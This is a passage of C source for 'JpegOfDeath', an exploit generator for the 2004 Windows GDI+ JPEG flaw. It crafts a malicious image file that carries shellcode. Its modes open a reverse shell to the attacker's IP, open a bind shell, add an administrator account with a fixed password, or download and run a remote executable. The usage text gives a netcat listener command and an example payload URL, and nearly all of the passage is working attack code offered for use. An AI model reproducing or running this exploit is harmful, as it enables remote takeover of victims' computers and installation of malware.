  308. "\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8"
  309. "\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01"
  310. "\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A"
  311. "\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04"
  312. "\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41"
  313. "\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23"
  314. "\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19"
  315. "\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47"
  316. "\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68"
  317. "\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88"
  318. "\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7"
  319. "\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6"
  320. "\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5"
  321. "\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00"
  322. "\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F"
  323. ;
  324.  
  325. // Code... 
  326. char newshellcode[2048]; 
  327.  
  328. unsigned char xor_data(unsigned char byte)
  329. {
  330. return(byte ^ 0x92);
  331. }
  332.  
  333. void print_usage(char *prog_name)
  334. {
  335. printf(" Exploit Usage:\n");
  336. printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name);
  337. printf("\t\t\t  -a | -d <source_file> <jpeg_filename>\n\n");
  338. printf(" Parameters:\n\n");
  339. printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\tand choose -b for a bind attack. By default\n\t\t\t\t if you don't specify -r or-b then a bind\n\t\t\t\t attack will be generated.\n\n");
  340. printf("\t-a or -d\t\t The -a flag will create a user X with pass X, \n\t\t\t\t on the admin localgroup. The -d flag, will\n\t\t\t\t execute the source http path of the file\n\t\t\t\t given.\n"); 
  341. printf("\n\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bindthen  the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t modeis reverse connect  then the port you\n\t\t\t\t specify will be the one you wantto listen \n\t\t\t\t on so the victim can  connect to you\n\t\t\t\t right away.\n\n");
  342. printf(" Examples:\n");
  343. printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name);
  344. printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name);
  345. printf("\t%s -a whatever.jpg\n", prog_name);
  346. printf("\t%s -d http://webserver.com/patch.exe exploit.jpg\n\n", prog_name);
  347. printf(" Remember if you use the -r option to have netcat listening\n");
  348. printf(" on the port you are using for the attack so the victim will\n");
  349. printf(" be able to connect to you when exploited...\n\n");
  350. printf(" Example:\n");
  351. printf("\tnc.exe -l -p 8888");
  352. exit(-1);
  353. }
  354.  
  355. int main(int argc, char *argv[])
  356. {
  357. FILE *fout;
  358. unsigned int i = 0,j = 0;
  359. int raw_num = 0;
  360. unsigned long port = 1337; // default port for bind and reverse attacks 
  361. unsigned long encoded_port = 0;
  362. unsigned long encoded_ip = 0;
  363. unsigned char attack_mode = 2; // bind by default 
  364. char *p1 = NULL, *p2 = NULL;
  365. char ip_addr[256];
  366. char str_num[16];
  367. char jpeg_filename[256];
  368. WSADATA wsa;
  369.  
  370. printf(" +------------------------------------------------+\n");
  371. printf(" |  JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
  372. printf(" |    Exploit by John Bissell A.K.A. HighT1mes    |\n");
  373. printf(" |           TweaKed By M4Z3R For GSO             |\n");
  374. printf(" |              September, 23, 2004               |\n");
  375. printf(" +------------------------------------------------+\n");
  376.  
  377. if (argc < 2)
  378. print_usage(argv[0]);
  379.  
  380.  
  381.  // process commandline 
  382. for (i = 0; i < (unsigned) argc; i++) 
  383. {
  384.  
  385.  if (argv[i][0] == '-') 
  386.  {
  387.  
  388.  switch (argv[i][1]) 
  389.   {
  390.   
  391.   // reverse connect 
  392.   case 'r':
  393.   strncpy(ip_addr, argv[i+1], 20);
  394.    attack_mode = 1;
  395.   break;
  396.   
  397.   // bind 
  398.   case 'b':
  399.    attack_mode = 2;
  400.   break;
  401.   
  402.   // Add.Admin
  403.   case 'a':
  404.    attack_mode = 3;
  405.   break;
  406.  
  407.   // DL
  408.   case 'd':
  409.    attack_mode = 4;
  410.   break;
  411.  
  412.   // port 
  413.   case 'p':
  414.   port = atoi(argv[i+1]);
  415.   break;
  416.   }
  417.  }
  418. }
  419.  
  420. strncpy(jpeg_filename, argv[i-1], 255);
  421. fout = fopen(argv[i-1], "wb");
  422.        
  423. if( !fout ) {
  424. printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
  425. return(EXIT_FAILURE);
  426. }
  427.  
  428.   // initialize the socket library 
  429.  
  430. if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
  431. printf("Error: Winsock didn't initialize!\n");
  432. exit(-1);
  433. }
  434.  
  435. encoded_port = htonl(port);
  436. encoded_port += 2;
  437.  
  438. if (attack_mode == 1) 
  439. {
  440.  
  441.   // reverse connect attack 
  442.  
  443.  reverse_shellcode[184] = (char) 0x90;
  444.  reverse_shellcode[185] = (char) 0x92;
  445.  reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
  446.  reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));
  447.  
  448.  p1 = strchr(ip_addr, '.');
  449.  strncpy(str_num, ip_addr, p1 - ip_addr);
  450.  raw_num = atoi(str_num);
  451.  reverse_shellcode[179] = xor_data((char)raw_num);
  452.  
  453.  p2 = strchr(p1+1, '.');
  454.  strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
  455.  raw_num = atoi(str_num);
  456.  reverse_shellcode[180] = xor_data((char)raw_num);
  457.  
  458.  p1 = strchr(p2+1, '.');
  459.  strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
  460.  raw_num = atoi(str_num);
  461.  reverse_shellcode[181] = xor_data((char)raw_num);
  462.  
  463.  p2 = strrchr(ip_addr, '.');
  464.  strncpy(str_num, p2+1, 5);
  465.  raw_num = atoi(str_num);
  466.  reverse_shellcode[182] = xor_data((char)raw_num);
  467. }
  468.  
  469. if (attack_mode == 2) 
  470. {
  471.   // bind attack  
  472.  
  473.  bind_shellcode[204] = (char) 0x90;
  474.  bind_shellcode[205] = (char) 0x92;
  475.  bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
  476.  bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
  477. }
  478.  
  479.  
  480. if (attack_mode == 4)
  481. {
  482.  
  483.   // Http DL 
  484.      
  485.    strcpy(newshellcode,http_shellcode);
  486.       strcat(newshellcode,argv[2]);
  487.       strcat(newshellcode,"\x01");
  488.      
  489. }
  490.   
  491.   // build the exploit jpeg 
  492.  
  493. if ( attack_mode != 3)
  494. {
  495.  j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;
  496.      
  497.  for(i = 0; i < sizeof(header1) - 1; i++)
  498.  fputc(header1[i], fout);
  499.  
  500.  for(i=0;i<sizeof(setNOPs1)-1;i++)
  501.  fputc(setNOPs1[i], fout);
  502.  
  503.  for(i=0;i<sizeof(header2)-1;i++)
  504.  fputc(header2[i], fout);
  505.  
  506.  for( i = j; i < 0x63c; i++) 
  507.  fputc(0x90, fout);
  508.  j = i;
  509. }
  510.  
  511. if (attack_mode == 1) 
  512. {
  513.  for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
  514.  fputc(reverse_shellcode[i], fout);
  515. }
  516.  
  517. else if (attack_mode == 2) 
  518. {
  519.  for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
  520.  fputc(bind_shellcode[i], fout);
  521. }
  522.  
  523. else if (attack_mode == 4)
  524. {
  525.  for(i = 0; i<sizeof(newshellcode) - 1; i++)
  526.  {fputc(newshellcode[i], fout);}
  527.  
  528.  for(i = 0; i< sizeof(admin_shellcode) - 1; i++)
  529.  {fputc(admin_shellcode[i], fout);}
  530. }
  531.  
  532. else if (attack_mode == 3)
  533. {
  534.  
  535.   for(i = 0; i < sizeof(admin_header0) - 1; i++){fputc(admin_header0[i], fout);}
  536.   
  537.   for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i], fout);}
  538.  
  539.   for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i], fout);}
  540.   
  541.   for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i], fout);}
  542.  
  543.   for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i], fout);}
  544.  
  545.   for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i], fout);}
  546.   
  547.   for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i], fout);}
  548.   
  549.   for (i = 0; i<1601; i++){fputc('\x41', fout);}
  550.  
  551.   for(i = 0; i < sizeof(admin_shellcode) - 1; i++){fputc(admin_shellcode[i], fout);}
  552.  
  553.  
  554. }
  555.  
  556. if (attack_mode != 3 )
  557. {
  558.  for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
  559.  fputc(0x90, fout); 
  560.  
  561.  for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
  562.  fputc(setNOPs2[j], fout);
  563.        
  564. }
  565.  
  566. fprintf(fout, "\xFF\xD9");
  567.  
  568.  
  569. fcloseall();
  570.  
  571. WSACleanup();
  572.  
  573. printf("  Exploit JPEG file %s has been generated!\n", jpeg_filename);
  574.  
  575. return(EXIT_SUCCESS);
  576. }